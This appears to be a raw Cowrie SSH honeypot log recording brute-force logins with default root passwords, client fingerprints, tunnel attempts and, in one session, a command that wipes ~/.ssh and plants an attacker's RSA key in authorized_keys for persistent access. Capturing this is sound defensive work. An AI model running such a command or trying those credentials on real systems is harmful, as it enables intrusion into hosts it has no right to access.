{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:27.839094Z","src_ip":"103.161.170.12","session":"ddc0fb3a819f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:28.088725Z","src_ip":"103.161.170.12","session":"ddc0fb3a819f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:29.123148Z","src_ip":"103.161.170.12","session":"ddc0fb3a819f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:30.374818Z","src_ip":"103.161.170.12","session":"ddc0fb3a819f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":33446,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8b549f3074d","protocol":"ssh","message":"New connection: 43.245.143.215:33446 (159.203.135.109:22) [session: f8b549f3074d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:49.374075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:49.377374Z","src_ip":"43.245.143.215","session":"f8b549f3074d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:49.650030Z","src_ip":"43.245.143.215","session":"f8b549f3074d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno","password":"uno123","message":"login attempt [uno/uno123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:50.772869Z","src_ip":"43.245.143.215","session":"f8b549f3074d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:52.048286Z","src_ip":"43.245.143.215","session":"f8b549f3074d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44696,"dst_ip":"10.17.0.5","dst_port":22,"session":"329a6ad0b91b","protocol":"ssh","message":"New connection: 45.148.10.121:44696 (10.17.0.5:22) [session: 329a6ad0b91b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.092474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.096594Z","src_ip":"45.148.10.121","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.175659Z","src_ip":"45.148.10.121","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.415575Z","src_ip":"45.148.10.121","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.497251Z","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.577474Z","src_ip":"45.148.10.121","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.580439Z","src_ip":"45.148.10.121","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.661209Z","src_ip":"45.148.10.121","session":"329a6ad0b91b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60620,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceb490ee925a","protocol":"ssh","message":"New connection: 45.148.10.121:60620 (10.17.0.5:22) [session: ceb490ee925a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.736588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.740975Z","src_ip":"45.148.10.121","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:56.820029Z","src_ip":"45.148.10.121","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:57.057666Z","src_ip":"45.148.10.121","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:57.139473Z","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:57.235085Z","src_ip":"45.148.10.121","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:57.238829Z","src_ip":"45.148.10.121","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:22:57.323496Z","src_ip":"45.148.10.121","session":"ceb490ee925a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":34374,"dst_ip":"10.17.0.5","dst_port":22,"session":"4102fb65ee64","protocol":"ssh","message":"New connection: 160.22.123.78:34374 (10.17.0.5:22) [session: 4102fb65ee64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:23:48.122465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:23:48.127408Z","src_ip":"160.22.123.78","session":"4102fb65ee64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:23:48.376642Z","src_ip":"160.22.123.78","session":"4102fb65ee64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allan","password":"password","message":"login attempt [allan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:23:49.406376Z","src_ip":"160.22.123.78","session":"4102fb65ee64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:23:50.657928Z","src_ip":"160.22.123.78","session":"4102fb65ee64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":40810,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b3b23b5bc5d","protocol":"ssh","message":"New connection: 85.121.120.129:40810 (10.17.0.5:22) [session: 4b3b23b5bc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:08.630136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:08.634748Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:08.714549Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.066730Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.253098Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.255889Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.258550Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.340357Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.622985Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.625579Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.708010Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.711667Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":40812,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2243a25798","protocol":"ssh","message":"New connection: 85.121.120.129:40812 (10.17.0.5:22) [session: 6a2243a25798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.785283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.788433Z","src_ip":"85.121.120.129","session":"6a2243a25798","protocol":"ssh"}
